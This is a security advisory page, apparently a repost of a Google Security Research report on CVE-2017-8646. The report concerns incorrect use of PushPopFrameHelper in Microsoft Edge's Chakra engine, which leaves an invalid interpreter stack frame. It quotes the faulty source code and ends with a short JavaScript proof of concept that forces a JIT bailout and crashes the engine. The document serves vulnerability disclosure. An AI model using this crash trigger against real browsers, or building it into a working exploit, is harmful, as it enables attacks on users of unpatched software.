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Microsoft Edge Chakra PushPopFrameHelper Incorrect Usage

Microsoft Edge Chakra PushPopFrameHelper Incorrect Usage
Posted Aug 16, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from an incorrect usage of PushPopFrameHelper in InterpreterStackFrame::ProcessLinkFailedAsmJsModule.

tags | exploit
advisories | CVE-2017-8646
MD5 | acec101c7b823cc6f8e22b1fe6ec1f01

Microsoft Edge Chakra PushPopFrameHelper Incorrect Usage

Change Mirror Download
 Microsoft Edge: Chakra: Incorrect usage of PushPopFrameHelper in InterpreterStackFrame::ProcessLinkFailedAsmJsModule 

CVE-2017-8646


PushPopFrameHelper is a class that pushes the current stack frame object in its constructor and pops it in the destructor. So it should be used like "PushPopFrameHelper holder(...)", but InterpreterStackFrame::ProcessLinkFailedAsmJsModule uses it like a function.

Var InterpreterStackFrame::ProcessLinkFailedAsmJsModule()
{
...
PushPopFrameHelper(newInstance, _ReturnAddress(), _AddressOfReturnAddress());
...
}

It pushes "newInstance" and immediately pop it.

The PoC will crash in the following code.
void BailOutRecord::ScheduleLoopBodyCodeGen(Js::ScriptFunction * function, Js::ScriptFunction * innerMostInlinee, BailOutRecord const * bailOutRecord, IR::BailOutKind bailOutKind)
{
...
Js::InterpreterStackFrame * interpreterFrame = executeFunction->GetScriptContext()->GetThreadContext()->GetLeafInterpreterFrame(); <<-- Invalid stack frame object
loopHeader = executeFunction->GetLoopHeader(interpreterFrame->GetCurrentLoopNum()); <<-- interpreterFrame->GetCurrentLoopNum() == -1
...
}


PoC:
function asmModule() {
'use asm';

let a = [1, 2, 3, 4];
for (let i = 0; i < 0x100000; i++) { // JIT
a[0] = 1;
if (i === 0x30000) {
a[0] = {}; // the array type changed, bailout!!
}
}

function f(v) {
v = v | 0;
return v | 0;
}
return f;
}

asmModule(1);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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